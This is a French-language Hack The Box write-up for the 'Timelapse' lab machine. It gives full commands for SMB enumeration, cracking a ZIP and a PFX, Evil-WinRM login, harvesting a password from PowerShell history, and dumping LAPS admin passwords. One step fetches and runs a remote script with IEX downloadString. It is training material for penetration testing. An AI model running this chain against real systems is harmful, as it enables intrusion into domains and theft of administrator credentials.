TimeLapse HackTheBox (Writeup)

Hack The Boxapp.hackthebox.com

Skills:

• SMB Enumeration

• Cracking ZIp Password Protected File (fcrackzip)

• Cracking and reading .PFX File (crackpkcs12)

• Gaining SSL access with Evil-WinRM

• Information Leakage - Reading the user's Powershell history (User Pivoting)

• Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) [Privilege Escalation]

Reconnaissance:

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap :

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts

Analyse des ports ouverts avec extractport : Utilisation de la fonction extractport pour afficher de manière synthétique les ports ouverts et les copier dans le presse-papiers.

Scan de la version des ports avec Nmap : Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted

Configuration du fichier /etc/hosts pour la résolution DNS.

Énumération et Exploitation:

Identification du nom de la machine et du domaine :

Utilisation de CrackMapExec pour identifier le nom de la machine et son domaine.

crackmapexec smb 10.10.11.152

Énumération des fichiers partagés avec SMB :

Utilisation de smbclient et smbmap pour énumérer les fichiers partagés.

smbclient -L 10.10.11.152 -N

smbmap -H 10.10.11.152 -u 'null'

Accès au dossier partagé et découverte d'un fichier ZIP protégé par mot de passe

Exploration et identification des fichiers dans le dossier partagé, révélant un fichier ZIP protégé.

smbclient //10.10.11.152/Shares -N

Crack du fichier ZIP avec fcrackzip

Utilisation de fcrackzip pour tenter de trouver le mot de passe du fichier ZIP.

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip

Extraction du fichier .PFX

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes

Crack du mot de passe fichier .PFX:

Pour cracker à un fichier pfx en craquant le mot de passe, on utilisera l'outil crackpkcs12.

GitHub - crackpkcs12/crackpkcs12: A multithreaded program to crack PKCS#12 files (p12 and pfx extensions)GitHub

crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx

Obtention de la clé privée et du certificat à partir du fichier .PFX

Récupération de la clé privée

Récupération du certificat

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem

Connexion SSL avec Evil-WinRM en utilisant la clé privée et le certificat

evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S

Obtention de la première flag

Acquisition du premier flag "user.txt"

Élévation de privilèges:

Liste des utilisateurs et des privilèges du DC avec net users et whoami /priv

Identification des utilisateurs et des privilèges sur le contrôleur de domaine.

Analyse des groupes d'utilisateur et découverte de l'appartenance de l'utilisateur "svc_deploy" au groupe "LAPS_Readers"

Obtention du mot de passe de l'utilisateur "svc_deploy" en lisant l'historique PowerShell

type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Validation du mot de passe avec CrackMapExec

Confirmation de la validité du mot de passe obtenu en utilisant CrackMapExec.

crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'

Connexion avec Evil-WinRM en utilisant les identifiants de l'utilisateur "svc_deploy"

Connexion au système distant en utilisant les identifiants de l'utilisateur "svc_deploy" avec Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Utilisation de Get-LAPSPasswords pour extraire les mots de passe

GitHub - kfosaaen/Get-LAPSPasswords: Powershell function to pull the local admin passwords from LDAP, stored there by LAPS.GitHub

Téléchargement du script Get-LAPSPasswords

python3 -m http.server 80

IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')

Exécution du script et récupération des mots de passe administratifs

Validation du mot de passe administrateur avec CrackMapExec

Confirmation de la validité du mot de passe obtenu en utilisant CrackMapExec de l'user Administrator.

crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'

Connexion finale avec Evil-WinRM en utilisant les identifiants de l'administrateur

Connexion finale au système avec les identifiants administratifs via Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S

Obtention de la flag finale :)